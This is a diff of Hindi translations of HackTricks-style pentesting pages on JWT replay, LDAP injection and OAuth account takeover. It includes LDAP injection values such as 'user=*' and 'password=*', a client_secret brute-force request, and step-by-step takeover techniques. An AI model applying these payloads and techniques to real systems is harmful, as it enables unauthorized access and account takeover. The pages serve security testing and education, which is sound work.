JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद्वितीय पहचानकर्ता प्रदान करता है। इसका उपयोग टोकन को पुनः प्रस्तुत करने से रोकने के लिए किया जा सकता है।\
हालांकि, एक स्थिति की कल्पना करें जहाँ ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 समान ID का उपयोग करने जा रहे हैं। इसलिए यदि बैकएंड प्रत्येक अनुरोध पर ID को बढ़ा रहा है, तो आप इसका दुरुपयोग कर सकते हैं **एक अनुरोध को पुनः प्रस्तुत करने के लिए** (हर सफल पुनः प्रस्तुत करने के बीच 10000 अनुरोध भेजने की आवश्यकता है)।
### JWT पंजीकृत दावे
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
{{#ref}}
https://www.iana.org/assignments/jwt/jwt.xhtml#claims
{{#endref}}
### अन्य हमले
**क्रॉस-सेवा रिले हमले**
यह देखा गया है कि कुछ वेब अनुप्रयोग अपने टोकनों के निर्माण और प्रबंधन के लिए एक विश्वसनीय JWT सेवा पर निर्भर करते हैं। ऐसे उदाहरण दर्ज किए गए हैं जहाँ एक ग्राहक के लिए JWT सेवा द्वारा उत्पन्न एक टोकन को उसी JWT सेवा के दूसरे ग्राहक द्वारा स्वीकार किया गया। यदि तीसरे पक्ष की सेवा के माध्यम से JWT का जारी करना या नवीनीकरण देखा जाता है, तो उस सेवा के दूसरे ग्राहक पर उसी उपयोगकर्ता नाम/ईमेल का उपयोग करके एक खाता बनाने की संभावना की जांच की जानी चाहिए। फिर लक्षित पर एक अनुरोध में प्राप्त टोकन को पुनः खेलने का प्रयास किया जाना चाहिए यह देखने के लिए कि क्या इसे स्वीकार किया जाता है।
यह देखा गया है कि कुछ वेब अनुप्रयोग अपने टोकनों के निर्माण और प्रबंधन के लिए एक विश्वसनीय JWT सेवा पर निर्भर करते हैं। ऐसे उदाहरण दर्ज किए गए हैं जहाँ एक ग्राहक के लिए JWT सेवा द्वारा उत्पन्न एक टोकन को उसी JWT सेवा के दूसरे ग्राहक द्वारा स्वीकार किया गया। यदि तीसरे पक्ष की सेवा के माध्यम से JWT का जारी करना या नवीनीकरण देखा जाता है, तो उस सेवा के दूसरे ग्राहक पर उसी उपयोगकर्ता नाम/ईमेल का उपयोग करके एक खाता बनाने की संभावना की जांच की जानी चाहिए। फिर लक्ष्य पर एक अनुरोध में प्राप्त टोकन को पुनः प्रस्तुत करने का प्रयास किया जाना चाहिए यह देखने के लिए कि क्या इसे स्वीकार किया जाता है।
- आपके टोकन के स्वीकार किए जाने से एक महत्वपूर्ण समस्या का संकेत मिल सकता है, जो किसी भी उपयोगकर्ता के खाते की नकल करने की अनुमति दे सकता है। हालाँकि, यह ध्यान रखना चाहिए कि तीसरे पक्ष के अनुप्रयोग पर साइन अप करने के लिए व्यापक परीक्षण की अनुमति की आवश्यकता हो सकती है, क्योंकि यह एक कानूनी ग्रे क्षेत्र में प्रवेश कर सकता है।
**टोकनों की समाप्ति जांच**
टोकन की समाप्ति "exp" Payload दावा का उपयोग करके जांची जाती है। यह देखते हुए कि JWT अक्सर सत्र की जानकारी के बिना उपयोग किए जाते हैं, सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है। कई मामलों में, किसी अन्य उपयोगकर्ता के JWT को कैप्चर करना और पुनः खेलना उस उपयोगकर्ता की नकल करने में सक्षम कर सकता है। JWT RFC JWT पुनः खेलने के हमलों को कम करने की सिफारिश करता है "exp" दावा का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करने के लिए। इसके अलावा, इस मान को संसाधित करने और समाप्त टोकनों को अस्वीकार करने के लिए अनुप्रयोग द्वारा प्रासंगिक जांच का कार्यान्वयन महत्वपूर्ण है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएँ अनुमति देती हैं, तो टोकन को संग्रहीत करना और समाप्ति समय बीतने के बाद इसे पुनः खेलना सलाह दी जाती है। टोकन की सामग्री, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच (UTC में टाइमस्टैम्प) शामिल है, को jwt_tool के -R ध्वज का उपयोग करके पढ़ा जा सकता है।
टोकन की समाप्ति "exp" Payload दावा का उपयोग करके जांची जाती है। यह देखते हुए कि JWT अक्सर सत्र की जानकारी के बिना उपयोग किए जाते हैं, सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है। कई मामलों में, किसी अन्य उपयोगकर्ता के JWT को कैप्चर और पुनः प्रस्तुत करने से उस उपयोगकर्ता का अनुकरण सक्षम हो सकता है। JWT RFC JWT पुनः प्रस्तुत करने के हमलों को कम करने के लिए "exp" दावा का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करने की सिफारिश करता है। इसके अलावा, इस मान को संसाधित करने और समाप्त टोकनों को अस्वीकार करने के लिए अनुप्रयोग द्वारा प्रासंगिक जांच का कार्यान्वयन महत्वपूर्ण है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएँ अनुमति देती हैं, तो टोकन को संग्रहीत करना और समाप्ति समय बीतने के बाद इसे पुनः प्रस्तुत करना सलाह दी जाती है। टोकन की सामग्री, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच (UTC में टाइमस्टैम्प) शामिल है, को jwt_tool के -R ध्वज का उपयोग करके पढ़ा जा सकता है।
- यदि अनुप्रयोग अभी भी टोकन को मान्य करता है, तो एक सुरक्षा जोखिम हो सकता है, क्योंकि इसका अर्थ हो सकता है कि टोकन कभी समाप्त नहीं हो सकता।
### उपकरण
{% embed url="https://github.com/ticarpi/jwt_tool" %}
{{#ref}}
https://github.com/ticarpi/jwt_tool
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -24,15 +24,15 @@
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= सरल / वर्तमान / उपस्ट्रिंग\
**Item**= सरल / उपस्थित / उपस्ट्रिंग\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[प्रारंभिक] \* \[अंतिम]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
&#xNAN;**(&)** = पूर्ण TRUE\
&#xNAN;**(|)** = पूर्ण FALSE
&#xNAN;**(&)** = Absolute TRUE\
&#xNAN;**(|)** = Absolute FALSE
उदाहरण के लिए:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
@ -42,7 +42,7 @@
**OpenLDAP**: यदि 2 फ़िल्टर आते हैं, तो केवल पहले को निष्पादित करता है।\
**ADAM या Microsoft LDS**: 2 फ़िल्टर के साथ वे एक त्रुटि फेंकते हैं।\
**SunOne Directory Server 5.0**: दोनों फ़िल्टर निष्पादित करते हैं
**SunOne Directory Server 5.0**: दोनों फ़िल्टर निष्पादित करता है
**यह बहुत महत्वपूर्ण है कि फ़िल्टर को सही सिंटैक्स के साथ भेजा जाए, अन्यथा एक त्रुटि फेंकी जाएगी। केवल 1 फ़िल्टर भेजना बेहतर है।**
@ -56,7 +56,7 @@
### Login Bypass
LDAP पासवर्ड को स्टोर करने के लिए कई प्रारूपों का समर्थन करता है: स्पष्ट, md5, smd5, sh1, sha, crypt। इसलिए, यह हो सकता है कि आप जो भी पासवर्ड में डालें, वह हैश किया गया हो।
LDAP पासवर्ड को स्टोर करने के लिए कई प्रारूपों का समर्थन करता है: स्पष्ट, md5, smd5, sh1, sha, crypt। इसलिए, यह हो सकता है कि आप पासवर्ड के अंदर जो भी डालें, वह हैश किया गया हो।
```bash
user=*
password=*
@ -148,7 +148,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
#### **मान्य LDAP फ़ील्ड खोजें**
LDAP ऑब्जेक्ट्स **डिफ़ॉल्ट रूप से कई विशेषताएँ शामिल करते हैं** जिन्हें **जानकारी सहेजने** के लिए उपयोग किया जा सकता है। आप **उनमें से सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं ताकि उस जानकारी को निकाला जा सके।** आप [**डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) पा सकते हैं।
LDAP ऑब्जेक्ट्स **डिफ़ॉल्ट रूप से कई विशेषताएँ शामिल करते हैं** जिन्हें **जानकारी सहेजने** के लिए उपयोग किया जा सकता है। आप **उन सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं ताकि उस जानकारी को निकाला जा सके।** आप [**डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) पा सकते हैं।
```python
#!/usr/bin/python3
import requests
@ -203,7 +203,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
```
### अधिक पेलोड्स
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,36 +1,36 @@
# OAuth to Account takeover
# OAuth से खाता अधिग्रहण
{{#include ../banners/hacktricks-training.md}}
## Basic Information <a href="#d4a8" id="d4a8"></a>
## मूल जानकारी <a href="#d4a8" id="d4a8"></a>
OAuth विभिन्न संस्करणों की पेशकश करता है, जिनकी मौलिक जानकारी [OAuth 2.0 documentation](https://oauth.net/2/) पर उपलब्ध है। यह चर्चा मुख्य रूप से व्यापक रूप से उपयोग किए जाने वाले [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/) पर केंद्रित है, जो एक **authorization framework प्रदान करता है जो एक एप्लिकेशन को किसी अन्य एप्लिकेशन में उपयोगकर्ता के खाते तक पहुंचने या उस पर क्रियाएं करने की अनुमति देता है** (authorization server)।
OAuth विभिन्न संस्करणों की पेशकश करता है, जिनकी मौलिक जानकारी [OAuth 2.0 दस्तावेज़ीकरण](https://oauth.net/2/) पर उपलब्ध है। यह चर्चा मुख्य रूप से व्यापक रूप से उपयोग किए जाने वाले [OAuth 2.0 प्राधिकरण कोड अनुदान प्रकार](https://oauth.net/2/grant-types/authorization-code/) पर केंद्रित है, जो **एक प्राधिकरण ढांचा प्रदान करता है जो एक एप्लिकेशन को किसी अन्य एप्लिकेशन में उपयोगकर्ता के खाते तक पहुँचने या क्रियाएँ करने की अनुमति देता है** (प्राधिकरण सर्वर)।
एक काल्पनिक वेबसाइट _**https://example.com**_ पर विचार करें, जिसे **आपके सभी सोशल मीडिया पोस्ट प्रदर्शित करने के लिए डिज़ाइन किया गया है**, जिसमें निजी पोस्ट भी शामिल हैं। इसे प्राप्त करने के लिए, OAuth 2.0 का उपयोग किया जाता है। _https://example.com_ आपकी अनुमति मांगेगा **आपके सोशल मीडिया पोस्ट तक पहुंचने के लिए**। इसके परिणामस्वरूप, _https://socialmedia.com_ पर एक सहमति स्क्रीन दिखाई देगी, जिसमें **अनुरोधित अनुमतियों और अनुरोध करने वाले डेवलपर का विवरण होगा**। आपकी अनुमति मिलने पर, _https://example.com_ को **आपकी ओर से आपके पोस्ट तक पहुंचने की क्षमता मिलती है**
एक काल्पनिक वेबसाइट _**https://example.com**_ पर विचार करें, जिसे **आपके सभी सोशल मीडिया पोस्ट प्रदर्शित करने** के लिए डिज़ाइन किया गया है, जिसमें निजी पोस्ट भी शामिल हैं। इसे प्राप्त करने के लिए, OAuth 2.0 का उपयोग किया जाता है। _https://example.com_ आपकी अनुमति मांगेगा **आपके सोशल मीडिया पोस्ट तक पहुँचने** के लिए। इसके परिणामस्वरूप, _https://socialmedia.com_ पर एक सहमति स्क्रीन दिखाई देगी, जिसमें **अनुरोधित अनुमतियाँ और अनुरोध करने वाला डेवलपर** का विवरण होगा। आपकी अनुमति मिलने पर, _https://example.com_ को **आपकी ओर से आपके पोस्ट तक पहुँचने** की क्षमता मिल जाती है
OAuth 2.0 ढांचे के भीतर निम्नलिखित घटकों को समझना आवश्यक है:
- **resource owner**: आप, **उपयोगकर्ता/संस्थान**, अपने संसाधन, जैसे आपके सोशल मीडिया खाते के पोस्ट, तक पहुच की अनुमति देते हैं।
- **resource server**: **सर्वर जो प्रमाणित अनुरोधों का प्रबंधन करता है** जब एप्लिकेशन `access token` को `resource owner` की ओर से सुरक्षित करता है, जैसे कि **https://socialmedia.com**
- **client application**: **एप्लिकेशन जो `resource owner` से अनुमति मांगता है**, जैसे कि **https://example.com**
- **authorization server**: **सर्वर जो `client application` को `access tokens` जारी करता है** `resource owner` की सफल प्रमाणीकरण और अनुमति प्राप्त करने के बाद, जैसे कि **https://socialmedia.com**
- **resource owner**: आप, **उपयोगकर्ता/संस्थान**, अपने संसाधन, जैसे आपके सोशल मीडिया खाते के पोस्ट, तक पहुच की अनुमति देते हैं।
- **resource server**: **सर्वर जो प्रमाणित अनुरोधों का प्रबंधन करता है** जब एप्लिकेशन ने `access token` को `resource owner` की ओर से सुरक्षित किया है, जैसे कि **https://socialmedia.com**
- **client application**: **एप्लिकेशन जो `resource owner` से प्राधिकरण मांगता है**, जैसे कि **https://example.com**
- **authorization server**: **सर्वर जो `client application` को `access tokens` जारी करता है** `resource owner` की सफल प्रमाणीकरण और प्राधिकरण सुरक्षित करने के बाद, जैसे कि **https://socialmedia.com**
- **client_id**: एप्लिकेशन के लिए एक सार्वजनिक, अद्वितीय पहचानकर्ता।
- **client_secret:** एक गोपनीय कुंजी, जो केवल एप्लिकेशन और authorization server को ज्ञात होती है, जिसका उपयोग `access_tokens` उत्पन्न करने के लिए किया जाता है।
- **response_type**: एक मान जो **अनुरोधित टोकन के प्रकार को निर्दिष्ट करता है**, जैसे `code`
- **scope**: **अनुमति का स्तर** जो `client application` `resource owner` से मांग रहा है
- **redirect_uri**: **URL जिस पर उपयोगकर्ता अनुमति के बाद पुनर्निर्देशित होता है**। यह आमतौर पर पूर्व-रजिस्टर्ड पुनर्निर्देशित URL के साथ मेल खाना चाहिए।
- **state**: एक पैरामीटर जो **उपयोगकर्ता के authorization server पर और उससे पुनर्निर्देशित होने के दौरान डेटा बनाए रखने के लिए** है। इसकी विशिष्टता **CSRF सुरक्षा तंत्र** के रूप में कार्य करने के लिए महत्वपूर्ण है।
- **grant_type**: एक पैरामीटर जो **grant type और लौटाए जाने वाले टोकन के प्रकार को इंगित करता है**
- **code**: `authorization server` से प्राप्त authorization code, जिसका उपयोग `client_id` और `client_secret` के साथ `access_token` प्राप्त करने के लिए किया जाता है।
- **access_token**: **टोकन जो `client application` `resource owner` की ओर से API अनुरोधों के लिए उपयोग करता है**।
- **refresh_token**: एप्लिकेशन को **बिना उपयोगकर्ता को फिर से प्रॉम्प्ट किए एक नया `access_token` प्राप्त करने की अनुमति देता है**
- **client_secret:** एक गोपनीय कुंजी, जो केवल एप्लिकेशन और प्राधिकरण सर्वर को ज्ञात है, जिसका उपयोग `access_tokens` उत्पन्न करने के लिए किया जाता है।
- **response_type**: एक मान जो **अनुरोधित टोकन के प्रकार** को निर्दिष्ट करता है, जैसे `code`
- **scope**: **उपयोगकर्ता से `client application` द्वारा अनुरोधित पहुँच का स्तर**
- **redirect_uri**: **URL जिस पर उपयोगकर्ता प्राधिकरण के बाद पुनर्निर्देशित होता है**। यह आमतौर पर पूर्व-रजिस्टर्ड पुनर्निर्देशित URL के साथ मेल खाना चाहिए।
- **state**: एक पैरामीटर जो **उपयोगकर्ता के प्राधिकरण सर्वर पर जाने और लौटने के दौरान डेटा बनाए रखने** के लिए है। इसकी विशिष्टता **CSRF सुरक्षा तंत्र** के रूप में कार्य करने के लिए महत्वपूर्ण है।
- **grant_type**: एक पैरामीटर जो **अनुदान प्रकार और लौटाए जाने वाले टोकन के प्रकार** को इंगित करता है।
- **code**: `authorization server` से प्राधिकरण कोड, जिसका उपयोग `client_id` और `client_secret` के साथ `access_token` प्राप्त करने के लिए किया जाता है।
- **access_token**: **टोकन जिसका उपय `client application` API अनुरोधों के लिए `resource owner` की ओर से करता है**।
- **refresh_token**: एप्लिकेशन को **बिना उपयोगकर्ता को फिर से प्रॉम्प्ट किए एक नया `access_token` प्राप्त करने** की अनुमति देता है।
### Flow
### प्रवाह
**वास्तविक OAuth प्रवाह** इस प्रकार है:
1. आप [https://example.com](https://example.com) पर जाते हैं और “Integrate with Social Media” बटन का चयन करते हैं।
2. साइट फिर [https://socialmedia.com](https://socialmedia.com) पर आपके पोस्ट तक पहुचने के लिए https://example.com के एप्लिकेशन को अनुमति देने के लिए आपकी अनुमति मांगने का अनुरोध भेजती है। अनुरोध इस प्रकार संरचित है:
1. आप [https://example.com](https://example.com) पर जाते हैं और “सोशल मीडिया के साथ एकीकृत करें” बटन का चयन करते हैं।
2. साइट फिर [https://socialmedia.com](https://socialmedia.com) पर आपके पोस्ट तक पहुचने के लिए https://example.com के एप्लिकेशन को अनुमति देने के लिए आपकी प्राधिकरण मांगने का अनुरोध भेजती है। अनुरोध इस प्रकार संरचित है:
```
https://socialmedia.com/auth
?response_type=code
@ -72,9 +72,9 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
```
### CSRF - Improper handling of state parameter <a href="#bda5" id="bda5"></a>
OAuth कार्यान्वयन में, **`state` parameter** का दुरुपयोग या अनुपस्थिति **Cross-Site Request Forgery (CSRF)** हमलों के जोखिम को काफी बढ़ा सकती है। यह भेद्यता तब उत्पन्न होती है जब `state` parameter **उपयोग नहीं किया जाता, स्थिर मान के रूप में उपयोग किया जाता है, या सही तरीके से मान्य नहीं किया जाता**, जिससे हमलावर CSRF सुरक्षा को बायपास कर सकते हैं।
OAuth कार्यान्वयन में, **`state` parameter** का दुरुपयोग या अनुपस्थिति **Cross-Site Request Forgery (CSRF)** हमलों के जोखिम को काफी बढ़ा सकती है। यह भेद्यता तब उत्पन्न होती है जब `state` parameter या तो **उपयोग नहीं किया जाता, स्थिर मान के रूप में उपयोग किया जाता है, या सही तरीके से मान्य नहीं किया जाता**, जिससे हमलावर CSRF सुरक्षा को बायपास कर सकते हैं।
हमलावर इसको अधिकृत प्रक्रिया को इंटरसेप्ट करके पीड़ित के खाते के साथ अपने खाते को लिंक करने के लिए उपयोग कर सकते हैं, जिससे संभावित **खाते का अधिग्रहण** हो सकता है। यह विशेष रूप से उन अनुप्रयोगों में महत्वपूर्ण है जहाँ OAuth का उपयोग **प्रमाणीकरण उद्देश्यों** के लिए किया जाता है।
हमलावर इसको अधिकृत प्रक्रिया को इंटरसेप्ट करके पीड़ित के खाते के साथ अपने खाते को लिंक करने के लिए उपयोग कर सकते हैं, जिससे संभावित **खाते पर ब्जा** हो सकता है। यह विशेष रूप से उन अनुप्रयोगों में महत्वपूर्ण है जहाँ OAuth का उपयोग **प्रमाणीकरण उद्देश्यों** के लिए किया जाता है।
इस भेद्यता के वास्तविक दुनिया के उदाहरण विभिन्न **CTF चुनौतियों** और **हैकिंग प्लेटफार्मों** में दस्तावेजीकृत किए गए हैं, जो इसके व्यावहारिक प्रभावों को उजागर करते हैं। यह समस्या तीसरे पक्ष की सेवाओं जैसे **Slack**, **Stripe**, और **PayPal** के साथ एकीकरण तक भी फैली हुई है, जहाँ हमलावर सूचनाओं या भुगतानों को अपने खातों में पुनर्निर्देशित कर सकते हैं।
@ -87,13 +87,13 @@ OAuth कार्यान्वयन में, **`state` parameter** का
### Disclosure of Secrets <a href="#e177" id="e177"></a>
गुप्त OAuth पैरामीटर की पहचान और सुरक्षा महत्वपूर्ण है। जबकि **`client_id`** को सुरक्षित रूप से प्रकट किया जा सकता है, **`client_secret`** को उजागर करना महत्वपूर्ण जोखिम पैदा करता है। यदि `client_secret` से समझौता किया जाता है, तो हमलावर उपयोगकर्ता के **`access_tokens`** और निजी जानकारी को **चोरी** करने के लिए अनुप्रयोग की पहचान और विश्वास का लाभ उठा सकते हैं।
गुप्त OAuth पैरामीटर की पहचान और सुरक्षा महत्वपूर्ण है। जबकि **`client_id`** को सुरक्षित रूप से प्रकट किया जा सकता है, **`client_secret`** का खुलासा महत्वपूर्ण जोखिम पैदा करता है। यदि `client_secret` से समझौता किया जाता है, तो हमलावर उपयोगकर्ता के **`access_tokens`** और निजी जानकारी को **चोरी** करने के लिए अनुप्रयोग की पहचान और विश्वास का लाभ उठा सकते हैं।
एक सामान्य भेद्यता तब उत्पन्न होती है जब अनुप्रयोग गलती से ग्राहक-पक्ष पर `access_token` के लिए अधिकृत `code` के आदान-प्रदान को संभालते हैं, न कि सर्वर-पक्ष पर। यह गलती `client_secret` के उजागर होने का कारण बनती है, जिससे हमलावर अनुप्रयोग के बहाने `access_tokens` उत्पन्न कर सकते हैं। इसके अलावा, सामाजिक इंजीनियरिंग के माध्यम से, हमलावर OAuth अधिकृत में अतिरिक्त स्कोप जोड़कर विशेषाधिकार बढ़ा सकते हैं, जिससे अनुप्रयोग की विश्वसनीय स्थिति का और लाभ उठाया जा सकता है।
### Client Secret Bruteforce
आप सेवा प्रदाता के पहचान प्रदाता के साथ **client_secret** को **bruteforce** करने का प्रयास कर सकते हैं ताकि खातों को चुराने की कोशिश की जा सके।\
आप सेवा प्रदाता के साथ पहचान प्रदाता का **client_secret** चुराने के लिए **bruteforce** करने का प्रयास कर सकते हैं।\
BF के लिए अनुरोध इस प्रकार दिख सकता है:
```
POST /token HTTP/1.1
@ -145,50 +145,52 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
```
For more detailed info about how to abuse AWS cognito check:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
{{#endref}}
### Abusing other Apps tokens <a href="#bda5" id="bda5"></a>
### अन्य ऐप्स टोकन का दुरुपयोग <a href="#bda5" id="bda5"></a>
जैसा कि [**इस लेख में उल्लेख किया गया है**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth प्रवाह जो **token** (और न कि कोड) प्राप्त करने की अपेक्षा करते हैं, वे कमजोर हो सकते हैं यदि वे यह नहीं जांचते कि टोकन ऐप का है।
जैसा कि [**इस लेख में उल्लेख किया गया है**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth प्रवाह जो **टोकन** (और कोड नहीं) प्राप्त करने की अपेक्षा करते हैं, वे कमजोर हो सकते हैं यदि वे यह नहीं जांचते कि टोकन ऐप का है।
यह इसलिए है क्योंकि एक **हमलावर** एक **ऐप्लिकेशन बना सकता है जो OAuth का समर्थन करता है और अपने ऐप में Facebook के साथ लॉगिन कर सकता है** (उदाहरण के लिए)। फिर, जब एक पीड़ित **हमलावर के ऐप में Facebook के साथ लॉगिन करता है**, तो हमलावर **उपयोगकर्ता के OAuth टोकन को प्राप्त कर सकता है जो उसके ऐप को दिया गया है, और इसका उपयोग पीड़ित के OAuth ऐप में पीड़ित के उपयोगकर्ता टोकन के साथ लॉगिन करने के लिए कर सकता है**।
यह इसलिए है क्योंकि एक **हमलावर** एक **ऐप्लिकेशन बना सकता है जो OAuth का समर्थन करता है और फेसबुक के साथ लॉगिन करता है** (उदाहरण के लिए) अपने स्वयं के ऐप में। फिर, जब एक पीड़ित फेसबुक के साथ **हमलावर के ऐप में लॉगिन करता है**, तो हमलावर **उपयोगकर्ता के OAuth टोकन को प्राप्त कर सकता है जो उसके ऐप को दिया गया है, और इसका उपयोग पीड़ित OAuth ऐप में पीड़ित के उपयोगकर्ता टोकन का उपयोग करके लॉगिन करने के लिए कर सकता है**।
> [!CAUTION]
> इसलिए, यदि हमलावर उपयोगकर्ता को अपने OAuth ऐप तक पहुंच प्राप्त करने में सफल हो जाता है, तो वह उन ऐप्स में पीड़ित के खाते पर नियंत्रण प्राप्त कर सकेगा जो टोकन की अपेक्षा कर रहे हैं और यह नहीं जांच रहे हैं कि टोकन उनके ऐप आईडी को दिया गया था या नहीं।
### Two links & cookie <a href="#bda5" id="bda5"></a>
### दो लिंक और कुकी <a href="#bda5" id="bda5"></a>
[**इस लेख के अनुसार**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), यह संभव था कि एक पीड़ित एक पृष्ठ खोले जिसमें **returnUrl** हमलावर के होस्ट की ओर इशारा करता है। यह जानकारी **एक कुकी (RU)** में **स्टोर** की जाएगी और **बाद के चरण में** **प्रॉम्प्ट** **उपयोगकर्ता** से पूछेगा कि क्या वह उस हमलावर के होस्ट को एक्सेस देने के लिए तैय है।
[**इस लेख के अनुसार**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), यह संभव था कि एक पीड़ित एक पृष्ठ खोले जिसमें **returnUrl** हमलावर के होस्ट की ओर इशारा करता है। यह जानकारी **कुकी (RU)** में **स्टोर** की जाएगी और **बाद के चरण में** **प्रॉम्प्ट** **उपयोगकर्ता** से पूछेगा कि क्या वह उस हमलावर के होस्ट को एक्सेस देने के लिए चाहता है।
इस प्रॉम्प्ट को बायपास करने के लिए, यह संभव था कि एक टैब खोला जाए ताकि **Oauth प्रवाह** को आरंभ किया जा सके जो इस RU कुकी को **returnUrl** का उपयोग करके सेट करेगा, प्रॉम्प्ट दिखाए जाने से पहले टैब को बंद करें, और बिना उस मान के एक नया टैब खोलें। तब, **प्रॉम्प्ट हमलावर के होस्ट के बारे में सूचित नहीं करेगा**, लेकिन कुकी इसे सेट कर दी जाएगी, इसलिए **टोकन हमलावर के होस्ट** पर पुनर्निर्देशित किया जाएगा।
इस प्रॉम्प्ट को बायपास करने के लिए, यह संभव था कि एक टैब खोला जाए ताकि **Oauth प्रवाह** को आरंभ किया जा सके जो इस RU कुकी को **returnUrl** का उपयोग करके सेट करेगा, प्रॉम्प्ट दिखाए जाने से पहले टैब बंद करें, और बिना उस मान के एक नया टैब खोलें। फिर, **प्रॉम्प्ट हमलावर के होस्ट के बारे में सूचित नहीं करेगा**, लेकिन कुकी इसे सेट कर दी जाएगी, इसलिए **टोकन हमलावर के होस्ट** पर पुनर्निर्देशन में भेजा जाएगा।
### Prompt Interaction Bypass <a href="#bda5" id="bda5"></a>
### प्रॉम्प्ट इंटरैक्शन बायपास <a href="#bda5" id="bda5"></a>
जैसा कि [**इस वीडियो में समझाया गया है**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), कुछ OAuth कार्यान्वयन **`prompt`** GET पैरामीटर को None (**`&prompt=none`**) के रूप में इंगित करने की अनुमति देते हैं ताकि **उपयोगकर्ताओं को दिए गए एक्सेस की पुष्टि करने के लिए प्रॉम्प्ट में पूछा न जाए** यदि वे पहले से ही प्लेटफॉर्म में लॉगिन कर चुके हैं।
### response_mode
जैसा कि [**इस वीडियो में समझाया गया है**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), यह संभव हो सकता है कि पैरामीटर **`response_mode`** को इंगित किया जाए कि आप अंतिम URL में कोड कहां प्राप्त करना चाहते हैं:
जैसा कि [**इस वीडियो में समझाया गया है**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), यह संभव हो सकता है कि पैरामीटर **`response_mode`** को इंगित किया जाए कि आप अंतिम URL में कोड कहां प्रदान करना चाहते हैं:
- `response_mode=query` -> कोड एक GET पैरामीटर के अंदर प्रदान किया जाता है: `?code=2397rf3gu93f`
- `response_mode=fragment` -> कोड URL के फ्रैगमेंट पैरामीटर के अंदर प्रदान किया जाता है `#code=2397rf3gu93f`
- `response_mode=form_post` -> कोड एक POST फॉर्म के अंदर प्रदान किया जाता है जिसमें एक इनपुट होता है जिसे `code` कहा जाता है और मान होता है
- `response_mode=fragment` -> कोड URL फ्रैगमेंट पैरामीटर `#code=2397rf3gu93f` के अंदर प्रदान किया जाता है
- `response_mode=form_post` -> कोड एक POST फॉर्म के अंदर प्रदान किया जाता है जिसमें एक इनपुट होता है जिसे `code` कहा जाता है और मान
- `response_mode=web_message` -> कोड एक पोस्ट संदेश में भेजा जाता है: `window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC flow - 2 FA bypass <a href="#b440" id="b440"></a>
### OAuth ROPC प्रवाह - 2 FA बायपास <a href="#b440" id="b440"></a>
[**इस ब्लॉग पोस्ट के अनुसार**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), यह एक OAuth प्रवाह है जो **उपयोगकर्ता नाम** और **पासवर्ड** के माध्यम से OAuth में लॉगिन करने की अनुमति देता है। यदि इस सरल प्रवाह के दौरान एक **टोकन** लौटाया जाता है जिसमें सभी क्रियाओं तक पहुंच होती है जो उपयोगकर्ता कर सकता है, तो उस टोकन का उपयोग करके 2FA को बायपास करना संभव है।
### ATO on web page redirecting based on open redirect to referrer <a href="#bda5" id="bda5"></a>
### ओपन रीडायरेक्ट पर आधारित वेब पृष्ठ पर ATO <a href="#bda5" id="bda5"></a>
यह [**ब्लॉगपोस्ट**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) बताता है कि कैसे एक **ओपन रीडायरेक्ट** का दुरुपयोग करके **रेफरर** के मान से OAuth का दुरुपयोग करके ATO किया जा सकता है। हमला था:
1. पीड़ित हमलावर के वेब पृष्ठ पर पहुंचता है
2. पीड़ित दुर्भावनापूर्ण लिंक खोलता है और एक ओपनर Google OAuth प्रवाह को `response_type=id_token,code&prompt=none` के रूप में अतिरिक्त पैरामीटर के साथ आरंभ करता है, **रेफरर के रूप में हमलावर की वेबसाइट** का उपयोग करते हुए।
